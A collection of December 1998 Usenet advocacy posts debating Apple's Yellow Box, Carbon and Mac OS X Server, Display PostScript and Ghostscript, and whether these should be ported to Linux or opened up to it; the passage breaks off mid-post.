>2) Linux will soon have WindowMaker which will use display ghostscript.
>Although you will not be able to simply recompile code for GNUStep, the
>frameworks will be similar enough to make porting relatively easy.
I'm not sure I can count all the incorrect assertions here.
- WindowMaker is already available.
- WindowMaker doesn't use Display Ghostscript, and likely won't any
time soon.
- The intent *is* for GNUStep to conform to OpenStep requirements so
that one might hope to "simply recompile code for GNUStep."
--
Windows NT: The Mister Hankey of operating systems
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/xgnustep.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 05:00:55 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <74nki7$f1p$33@blue.hex.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com>
<366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982252120001@news> <366E230B.549068DF@trilithon.com>
NNTP-Posting-Date: 10 Dec 1998 05:00:55 GMT
On Tue, 08 Dec 1998 23:13:15 -0800, Henry McGilton
<henry@trilithon.com> wrote:
>strobe wrote:
>
> * * What's the most fundamental principle of economics?
> * * -Chuck
>
> * Action has purpose.
>Bollocks.
Ah. Action has no purpose. Thank you for illuminating us on this.
> * However the first principle in business is make a profit |-).
>Once again, bollocks, and this answer has nothing to do with
>Charles' question.
Ah. Profits unnecessary.
> * YB will have a licencing fee (due to technologies apple doesn't
>own)
>Which technologies that Apple doesn't own?
At present, YB appears to depend on some technologies that Adobe owns,
notably the much-discussed DPS. If it knows how to grok .GIFs, then
Unisys owns a piece of YB. I hear no evidence of there being crypto
technology in YB; if there were, there would likely be RSA-owned
technology in YB.
--
"My theory is that someone's Emacs crashed on a very early version of
Linux while reading alt.flame and the resulting unholy combination of
Elisp and Minix code somehow managed to bootstrap itself and take on an
independent existence." -- James Raynard in c.u.b.f.m on nature of
Albert Cahalan
cbbrowne@hex.net- <http://www.ntlug.org/~cbbrowne/xgnustep.html>
Message-ID: <366F6242.BA08A06B@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com> <366EB82B.98E52CE7@trilithon.com> <anarkhos-ya02408000R0912981629510001@news>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Thu, 10 Dec 1998 00:52:14 EDT
Date: Wed, 09 Dec 1998 21:55:14 -0800
strobe wrote:
* Apple is dumping DPS. Adobe made it VERY clear they want
* DPS to DIE. Nobody is quite sure what will be used in
* MacOS X, however Apple made it clear DPS calls will not
* be supported.
The trend appears to be towards a PDF-like declarative system,
with a DPS-like imaging model underneath. The PS imaging
model *is* very good, even if the PS language has been shown
to create many problems.
* One good thing about ghostscript is OpenStep developers
* wanting to port their applications to YB and use DPS
* calls will have a cheap method to cross the gap.
Good point. And as I pointed out, on 'modern' hardware
platforms, GS is fast enough for rapid development.
........ Henry
--
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: fellowsd@cs.man.ac.uk (Donal K. Fellows)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 9 Dec 1998 16:20:19 GMT
Organization: Dept of Computer Science, University of Manchester, U.K.
Message-ID: <74m803$mgg$1@m1.cs.man.ac.uk>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366C2F0D.7D2F461E@mohawksoft.com> <74ilnf$84b$1@nnrp1.dejanews.com> <slrn76r0vd.296.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn76r0vd.296.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
Matt Kennel <replace this with '@'> wrote:
> Generally, the answer is "a scripting language is a language which
> sucks, wielding excuses because 'it's only a scripting langauge'".
> C.f. tcl and perl, but probably not python.
Hello, toast. Would you care to explain exactly what you mean by
that? Or was it just programming language bigotry?
Donal.
--
Donal K. Fellows http://www.cs.man.ac.uk/~fellowsd/ fellowsd@cs.man.ac.uk
Department of Computer Science, University of Manchester, U.K. +44-161-275-6137
--
"And remember, evidence is nothing." - Stacy Strock <spoon@adisfwb.com>
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Message-ID: <SPAMLESSforrest-0912982229080001@term6-23.vta.west.net>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com> <74jgqe$gfj$1@nnrp03.primenet.com> <74l1c2$i65@news1.panix.com> <74m5nh$pl7$1@nnrp03.primenet.com> <74niqc$but@news1.panix.com>
Organization: Obsidian
Date: Wed, 09 Dec 1998 22:29:07 -0800
NNTP-Posting-Date: Wed, 09 Dec 1998 22:28:26 PDT
In article <74niqc$but@news1.panix.com>, sal@panix.com wrote:
>>But don't worry. Revolution is alive and well at Apple. I hear that the
>>high-end comptuters will soon be translucent!
>
>Will they look like the Apple studio display or like the iMac?
The studio display. Dark blues and blacks (as opposed to the iMac's light
blues and whites), semitransparent, slightly glowing. I want one.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Business case for OpenCarbon
Date: Thu, 10 Dec 1998 01:42:20 -0500
Organization: Bell Atlantic Internet Solutions
Message-ID: <366F6CD5.7491@bellatlantic.net>
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com> <366EB83B.754F@bellatlantic.net> <74nl78$fdc$9@blue.hex.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: cbbrowne@hex.net
Christopher Browne wrote:
[reasonable argument in favor of the analogy between MacOS->Carbon
and 16-bit Windows->32-bit Windows snipped]
I wrote [in response to a MBA-ish paragraph]:
> Let's see if I can translate this:
>
> "By open sourceing carbon, Apple and the Linux community can
> expand their userbase in the home and business markets. (as
> distinguished from the server or education markets) The Linux
> community and Apple would then share common interests in these
> two markets."
to which Christopher Browne responded:
> And while this represents an interesting new direction, it is
> not clear to me that this is a strategy that is *actually useful.*
>
> It really takes both systems out of their known "areas of
> competence," with a need for codependence upon one another, so
> as to "attack" markets that Microsoft has been tenaciously
> spending a lot of money on.
I don't think that there really would be any codependance between
Apple and the Linux community. I proposed that Apple release a
very primitive version of Carbon, along with a full API spec, and
let the Linux community do the rest. In order to sweeten the pot
for Apple I also proposed that they write the license in such a
way as to allow them to adopt code from OpenCarbon without the
requirement that thier derivative code also be open sourced.
In this circumstance the only codependance between Apple and the
Linux community runs through the release of API documentation,
which Apple has to release anyway to support their own developers.
The Linux community is free to expand on the APIs as they see fit
and Apple is free to take or leave any of the extensions.
> Cool idea, but I don't know that I believe it.
Well, I don't know that I entirely believe it myself. I am really
trying to get the idea floated in a semi-serious manner, in the
hope that Apple management will take notice and start thinking
about it themselves. There is a bunch of stuff that should be in
a REAL proposal that I have no access to, such as actual sales
and profit figures. Apple has them and can make the kind of
informed judgements that I can only guess at.
I continued, from above:
> This is, of course, just a partial restatement of the second
> paragraph from my original post:
>
> "What the Linux community SHOULD be pushing for, rather than
> a YB ported to Linux, is some support for porting Carbon to
> Linux. This would be good both for Linux and for Apple. It
> would instantly increase the potential market for any appli-
> cation ported to Carbon, and it would open up a huge software
> base to Linux users."
and Christopher Browne responded:
> I have to question how it opens up a "huge software base to
> Linux users." Doesn't the use of Carbon require some signi-
> ficant porting efforts for those existing Mac apps? If so,
> then what it opens up is a "huge software base that doesn't
> really exist yet."
The software base does not exist, as of December 1998, but
developers are hard at work, even as we speak, cleaning up
their MacOS programs to run on Carbon. If Apple were to
release the Carbon APIs and a foetal OpenCarbon code base,
the Linux community might be able to get a working version
by the time MacOS X ships next year.
Further, traditional (non-Carbon) MacOS programs are supposed
to run on Carbon, without modification, but lacking many of
the neat features of MacOS X. This probably means that MacOS
X will include some kind of compatability box that implements
the current MacOS environment inside a *nix process, but I'm
just guessing about that.
Christopher Browne continues:
> Furthermore, I rather think this has to assume one of two
> (questionable) things. Either:
>
> a) Carbon runs as a seemingly "complete" environment such that
> you think you're running on a Mac, only it's Linux. In effect,
> this means that Linux plays an equivalent role to DOS and YB to
> Windows in the "good 'ol days" of Windows 3.x.
>
> This means that you *don't* have much integration with the Linux
> environment sitting down below it.
This is how I envisioned the OpenCarbon system working. What you
are forgetting is that Carbon is a mutated version of the MacOS
APIs implemented on top of a *nix style OS. (BSD layer running
on top of Mach) It will be just as integrated with the *nix
layer as is OPENSTEP on it's native soil. (i.e. NOT on Windows)
If you have used either NeXTstep or OPENSTEP, then you will
understand what I am talking about. If you haven't, then you
are missing out. NeXTstep is a complete integration of a GUI
system with a *nix OS, to the point that all tasks, including
sysadmin, can be done from the GUI. You can expect MacOS X to
be even less reliant on command shells and more integrated
with the BSD layer.
Christopher Browne continues:
> Why would Apple want to promote this over selling a "complete
> environment" that is running on their own hardware, and thereby
> making Apple rather a lot more money? Unless what they really
> *want* to do is to use Linux as a "DOS" to underly a "MacOS" GUI
> layer...
First, Apple wouldn't be promoting OpenCarbon, they just get the
ball rolling, and act as the project maintainers, everything else
is someone else's problem. Apple would continue to promote their
own hardware/software packages, leaving OpenCarbon as, at best,
an "unsupported product."
Second, as I tried to say above, Linux would not be taking the
place of DOS in a DOS/Windows analogy, but the place of the BSD
layer in the current NeXTstep/OPENSTEP/Rhapsody/MacOS X server.
Christopher Browne
> Why would Linux folk be interested in this?
I don't know WHY Linux folk would be interested in OpenCarbon,
but many do seem to be interested. I would be insterested in it
because it would give me a much better GUI on Linux than I can
currently cobble together myself. I think that developers would
be interested because it would give them another ~7 million
people to whom they could sell their wares.
If I had to guess why Linux folk (other than myself) would be
(or are) interested in something like this, I think it is
because the MacOS is a proven GUI, unlike KDE or GNOME. MacOS
provides all the services one expects of a GUI in a single,
mature, package. Further, all claims to the contrary aside,
the MacOS has a huge base of software available for it, which
would then, to some extent at least, be available to Linux
folk.
Christopher Browne:
> Or
>
> b) Carbon runs (say) as a layer mostly residing atop X, with
> the hope of getting Drag'n'Drool functionality between Carbon
> apps and some non-Carbon apps.
I seriously doubt that this model would be persued, since it is
so different than the current Carbon on BSD on Mach system that
Apple already has working. However, the Linux folk who would be
doing the actual development could do whatever pleases them.
> This cooperative approach is far more useful, but would be
> corresponding far more problematic to implement, as Carbon has
> to be far more subservient to other system components.
> *Certainly* more costly.
It would only cost Apple as much as it takes to write the first
demo version (with many APIs stubbed out) all the rest of the
work would be done by folk in the Linux community.
> I'd like to think that this would be valuable enough for Apple
> to want to do it, but if this system proves to be superior to a
> "native" Apple system, this again argues for people *not*
> buying Apple systems (lost money). Alternatively, if the
> "Carbon-on-Linux" environment looks pretty kludgy, this makes
> Apple look bad.
>
> I'm not sure there's a winning scenario *for Apple* here.
I tried to address the issue of lost revenue due to defection
in my original post. I am aware that this was probably the
weakest part of my proposal, but I just don't have the data
to make any real analysis. (yeah, it's a cop-out, I know)
I wrote:
> I think I pretty clearly defined the benefits to Apple of making
> the Carbon APIs available to the Linux community in paragraph
> four starting "The benefits of an Open Source carbon, to Apple,
> are several:" They include a larger developer base for the APIs
> themselves, a larger base of testers for the software on a wide
> range of platforms, ports to other platforms implemented at
> little or no cost, and a larger potential market for third party
> software written to the Carbon APIs.
Christopher Browne responded:
> I like this, but selling Carbon apps on Linux certainly requires
> more deployment and testing effort for the producers of software.
> I presume that deploying a "Linux Carbon" application on IA-32
> would require recompiling on a Linux box, right?
I would certainly think so. I don't expect that we will have a
fast PPC emulator for x86 Linux any time in the near future, so
a recompile would be required.
> Having to cope with Linux/Carbon as well as NT/Carbon as well as
> MacOS-X/Carbon gives software vendors some of the same headaches
> associated with trying to deploy Java code on a diverse set of
> platforms. It's not impossible; it may be worthwhile; there are
> certainly some costs associated with the diversity.
These are the same 'headaches' associated with writing a portable
UNIX/BSD/Linux/etc. program, and they are pretty well understood
and commonly dealt with by developers currently. The fact is that
MacOS X is really going to be little more than a version of BSD
with a funky set of APIs on top. There is no reason that the
transition from MacOS X -> Linux should be any worse than those
from Irix -> Linux -> Solaris. All we need is to have the Carbon
APIs available on both platforms.
- Jeff Dutky
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Apple's OS X Server web page hidden?
Date: Wed, 9 Dec 1998 13:30:06 -0800
Organization: Net Squared, Inc.
Message-ID: <74mre3$3aa$1@your.mother.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com>
Greg Anderson wrote in message
>Anyway, you're reading waaaaay too much into what I wrote.
>I was simply stating a fact: Aside from standard developer mailings
>that everyone gets -- and which never mention OSXS anymore --
I think the de-emphasizing of OS X Server is now going beyond the
mailings.
About once or twice a week I hit Apple's developer page at
http://www.apple.com/developer/
and then usually hit the MacOS X Server page from there by (what I think
I remember) selecting MacOS X Server from "Resources by Platform" pull
down menu.
Today I could not find the "Server" version mentioned and had to go
directly to the full "MacOS X" page first. Only from there could I hit
the MacOS X *Server* page.
It could be my fogged brain, but then again...
Todd
Message-ID: <366F636B.842D856@nstar.net>
Date: Thu, 10 Dec 1998 00:00:11 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost> <anarkhos-ya02408000R0912981528050001@news> <366F0A9D.DEA227D5@ericsson.com> <74niq9$but@news1.panix.com>
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Sal Denaro wrote:
> I think I speak for everyone on CSNA when I say that no one objects to you
> (or anyone else for that matter) voicing opinions; they only object to the
> *way* you choose to do so.
I gotta be me. That's not perfect, but it's definitely charming and
handsome.
> You would gain a lot more respect (and Lawson as well) if you refrained from
> name calling, shifting goal posts and put in some attempt to back up your
> speculations with some modicum of fact.
I prefer to take that as a compliment. It boosts my fragile and waning
ego.
> And at the very least, stop posting incorrect and misleading information
> after being corrected several times.
It would be better if you didn't speak for everyone on CSNA. In general.
MJP
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple's OS X Server web page hidden?
Date: 10 Dec 1998 02:19:57 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <74nb4d$cad@dfw-ixnews8.ix.netcom.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com> <74mre3$3aa$1@your.mother.com> <ygcn24w4vnj.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
Then why did Apple redesign the OSXServer docs pages, and add
new material on 11/30?
http://developer.apple.com/techpubs/macosxserver/macosxserver.html
http://developer.apple.com/techpubs/macosxserver/updates.html
Looks to me like they're getting ready for a release.
Dr. William V. Smith <smithwNOSPAM@tankNOSPAM.math.byu.edu> wrote:
> Indeed, OSXS seems to have disappeared from view at Apple.
> From notices that no more RDR2 disks will sent
If it's going to ship next month, why send out DR2 disks?
> to NDA email
> which . . . . Anyway Apple seems to hope OSXS will go away.
> My new g3 stays in its box while the older version runs DR2.
> The one person I know at Apple from the old NeXT team
> believes the marketeers have killed OSXS. But maybe that's
> just frustration.
> -Bill
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Thu, 10 Dec 1998 01:27:48 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn76v50k.25i.jedi@dementia.mishnet>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com>
On 10 Dec 1998 04:31:06 GMT, Sal Denaro <sal@panix.com> wrote:
>On 9 Dec 1998 14:50:09 GMT, John Jensen <jjens@primenet.com> wrote:
>>Sal Denaro <sal@panix.com> wrote:
>>: On Tue, 08 Dec 1998 17:51:59 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>>: >Doing that is the only thing that stands between Apple and oblivion.
>>: >They still have time to be the Netscape of Linux.
>>
>>: The problem is that even Netscape isn't the Netscape of Linux.
>>
>>: Making NS opensource has not helped Netscape gain market share.
>>
>>How can we be sure it didn't help? It certainly generated a lot of buzz
>>and good press at a difficult time for Netscape.
>
>IE continued to gain marketshare as Netscape lost marketshare.
With it being bundled with everything that Microsoft
sells these days it's not quite so much rather or not
Netscape gained or lost but how little or how much it
lost when %95 of the market is a captive audience.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: Thu, 10 Dec 1998 10:43:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74o8l8$13b$1@nnrp1.dejanews.com>
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com>
In article <19981209144308.22407.00000042@ng59.aol.com>,
willadams@aol.com (WillAdams) wrote:
> I find the NeXT UI awkward to manipulate with a stylus.
>
> Apple already has a very good UI for a palmtop, the NewtonOS. It's criminal
> that they've abandoned this customer base and platform.
I think the current Mac OS interface has some ideas that would work well on a
handheld - the pop up folders (tabbed windows) are exactly like the tabbed
windows on the Newton Underground backdrop app ive got running on my emate.
The single menu bar would be an improvement on NewtonOS - whos only interface
annoyance for me is that the menus are at the top of some app windows and at
the bottom of others, perhaps to add to that is that on some apps (documents)
the menus can scroll off the screen.
NewtonOS never fails to impress me, I just loaded nHTML (HTML editor) and
instead of having a whole seperate appi get just a tool bar that will work
with and add to any text editor on the machine and is available as a tool to
launch from within any text based app.
If OS X behaves in any way like this computing is going to be so much more
pleasurable.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: steve@sjknight.no.spam (Steve Knight)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Business case for OpenCarbon
Date: Thu, 10 Dec 1998 13:40:13 +0100
Organization: SJK
Message-ID: <1djtjkd.7nccqiadqzpgN@tycho.esrin.esa.it>
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com> <366EB83B.754F@bellatlantic.net> <74nl78$fdc$9@blue.hex.net> <366F6CD5.7491@bellatlantic.net>
User-Agent: MacSOUP/2.4b4
Jeffrey S. Dutky <dutky@bellatlantic.net> wrote:
[ snip lots ]
> > This is, of course, just a partial restatement of the second
> > paragraph from my original post:
> >
> > "What the Linux community SHOULD be pushing for, rather than
> > a YB ported to Linux, is some support for porting Carbon to
> > Linux. This would be good both for Linux and for Apple. It
> > would instantly increase the potential market for any appli-
> > cation ported to Carbon, and it would open up a huge software
> > base to Linux users."
>
> and Christopher Browne responded:
> > I have to question how it opens up a "huge software base to
> > Linux users." Doesn't the use of Carbon require some signi-
> > ficant porting efforts for those existing Mac apps? If so,
> > then what it opens up is a "huge software base that doesn't
> > really exist yet."
>
> The software base does not exist, as of December 1998, but
> developers are hard at work, even as we speak, cleaning up
> their MacOS programs to run on Carbon. If Apple were to
> release the Carbon APIs and a foetal OpenCarbon code base,
> the Linux community might be able to get a working version
> by the time MacOS X ships next year.
>
> Further, traditional (non-Carbon) MacOS programs are supposed
> to run on Carbon, without modification, but lacking many of
> the neat features of MacOS X. This probably means that MacOS
> X will include some kind of compatability box that implements
> the current MacOS environment inside a *nix process, but I'm
> just guessing about that.
>
Legacy MacOS apps won't run *on* Carbon. Carbon is a subset of the
existing MacOS APIs that runs on top of the Mach kernel and in parallel
with Blue, Yellow and BSD. With MacOS X, each legacy app will run in
it's own transparant Blue Box (hmmm, a transparant blue box ;-)), with
the advantage that if one blue app crashes, it doesn't take the rest of
the blues with it. Carbon apps should also run on future versions of
OS8 without recompilation.
I have a few problems with this whole 'OpenCarbon' idea.
Carbon is not a new API. It consists of 6000 of the existing 8000
toolbox routines with some routines added to handle new features. The
fact that Carbon already exists (at least in Cupertino) suggests to me
Apple have simply taken out those APIs that won't work in a PMT/MP/SMP
environment rather than rewriting everything, and as such, there's still
going to be a lot of crusty code buried underneath. I don't think that
making Carbon available for other platforms would be an easy/quick task.
Besides, Apple themselves would prefer that developers switch to YB as
soon as possible, but they had to find a way to make the transition
smoother for their existing developers.
I don't think we're going to see new applications 'ported' to Carbon. I
mean, we'll see existing Mac applications made Carbon compliant, but I
seriously doubt that any existing apps will be ported from say Win APIs
to Carbon. It just makes no sense when they could port to YB. With that
in mind, I don't think that software developers would see any
significant increase in sales from OpenCarbon.
Neither do I see the advantage to Apple of releasing Carbon for other
platforms. All existing Carbon, or Carbonizeable apps already run on
Apple hardware, and no one would write new apps for the Carbon APIs when
they could use Yellow. OpenCarbon for linux would not promote new
applications for MacOS X, and it's only use would be to allow existing
Mac developers to release linux versions of their products. Where are
Apples cookies in this?
I would gladly welcome Yellow for linux in some kind of Open Source
form, as I think that this would benefit both linux users/developers and
Apple themselves. Carbon on the other hand is a dead end.
The futures bright. The futures Yellow.
[ snip lots more ]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-3BcsyxQ4PxDT@localhost>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost> <74niq6$but@news1.panix.com>
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Date: 10 Dec 98 13:34:07 GMT
On Thu, 10 Dec 1998 04:31:02, sal@panix.com (Sal Denaro) thought
aloud:
> On 9 Dec 98 11:28:22 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> >Linux has become a strategically important platform which isn't under
> >> >any competitor's control - a port would IMO be natural choice.
> >>
> >> I don't see this at all.
> >>
> >> If Apple decides to do a port of YB to another platform (and the best
> >> time to decide to do this is after OSX and the free YB runtime for Windows
> >> ships) the best platforms would be Solaris and HP/UX. As it stands now,
> >> FoundationKit, WOF and EOF all run on Solaris and HP/UX (they come with
> >> WebObjects for those platforms). Building a full YB on those platforms,
> >> currently used by existing WO customers, makes a lot more sense to me
> >> than starting a port on Linux.
> >
> >Are the volumes and future momentum of these two platforms - Solaris
> >and HP/UX - sufficient for Apple to pay for YB ports to those
> >platforms?
>
> No, but there are sales on WebObjects on both platforms, in the normaly
> Apple-hostile enterprise market that would pay for the port. I'm willing
> to bet that customers running WO on HP/UX and Solaris might like it a
> lot better if it was running on a full YB so the dev tool and admin tools
> can run on the same machine, with the same UI that is provided on NT
> and OpenStep boxes.
Hmm, your initial response was "no"... anyway, I agree that YB's
presence on those platforms would provide at least some opportunies to
sell WebObjects licenses in the near term. The question Apple faces is
whether potential sales on those platforms justify the costs of
porting and support by Apple. Especially as having WO customers
running Linux would allow them to later migrate to PowerPC (by Apple)
servers if they wish, with the underlying OS component remaining the
same; then how far fetched is it to suggest Mac OS X? Also, wouldn't
YB for Linux make those ports somewhat easier?
And MacOSRumors.com suggested in the yesterday's feature called "Mac
OS X Insights" that the whole Mac OS X would be running on SPARC
system(s) somewhere in Cupertino basement. Hmm.
> >If YB for Linux became available, would the users of these
> >two OSes seriously consider running Linux on their hardware instead?
> >(I have seen quite a few stories to that effect already, in fact)
>
> People don't switch server OS products at the drop of a hat (at least
> in the enterprise market) And I very much doubt that Apple can tell
> existing WO customers to switch to Linux any more than they can tell
> them to switch to OSX.
Perhaps Apple should survey their WO customers and find out?
> >Also, Linux port would help Apple's own hardware gain acceptability
> >among the growing ranks of Linux users; one can't say the same of
> >these prorietary OSes.
>
> If I could run YB on Linux on lower cost hardware than Apple provides,
> why would I want to run anything on Apple hardware? I don't buy the
> "it will give you a better overall user experience" line; that has been
> try of Apple hardware vs PC hardware throughout most of the early days
> on Win3.x on to Win95 and Apple's market share went down.
Naturally Apple needs to keep trying to become more (cost) competitive
compared to the PC market. As I see it, Carbon is buying them time to
improve their hardware (G4 with AltiVec, better designed mainboards
etc.) and make sure that YB becomes more than a non-event after Carbon
has run out of steam. So, you want YB but wouldn't pay premium for
Apple's hardware if some form of YB was available cheaper, or on
cheaper platform? But OTOH without presence on alternative platforms
YB is much more likely to become a non-event, leaving you again with a
Macintosh lacking in app support and therefore mass appeal.
It's quite funny, really. Many moons ago certain
paranoid-megalomaniac-to-be geek asked Apple to license the Mac OS to
the new breed of PC makers... Apple saw only threats, stuck to their
own home-grown hardware and the rest is, sadly, history.
Apple can't have it both ways. Either they go after improved app
support and allow people to run those app also on non-Apple hardware;
or again stick to protecting their hardware sales and therefore
limiting app availability on their closed platform.
> > I'm not saying Apple should, or could,
> >blackmail HP or Sun with huge porting fees like Microsoft did with
> >NT/PPP, Apple couldn't do that even if they tried. But to pay for the
> >cost of porting only would IMO be fair. If Apple can do it for free,
> >that's fine too, but it shouldn't happen at Linux port's expense.
>
> If anything, YB on Solaris and HP/UX would make a Linux port a lot
Wouldn't it also work the other way around? With Linux being the base?
> more likely. If I were looking at a business plan for building a
> YB for Solaris to sell to existing WO customers as well as expanding
> that customer base; and a business plan for building a YB for Linux
> to sell to a new customer base that may or may not care to pay for
> it; and I had to pick _one_, would pick Solaris over Linux.
Sounds reasonable, except I'm not certain whether Solaris would be
able to expand the WO customer base. Linux, OTOH, is attracting _new_
users at high rates, and lot of the growth happens in server space,
esp. web servers. If there's no WebObjects to hook them, something
else will.
> If at some point it was possible to fund YB port to other platforms,
> making a case to port to Linux would be a lot easier if a Solaris
> and HP/UX port was already done.
>
> >> That would eliminate all other platforms. Do you think Sun would pay
> >> Apple to port a product that would compete with it's Java plans just
> >> to get a few Apps ported?
> >You scratch my back and I'll scratch yours. There are more ways to pay
> >than greenbacks.
>
> I doubt very much that either HP or Sun care about YB at the point. The
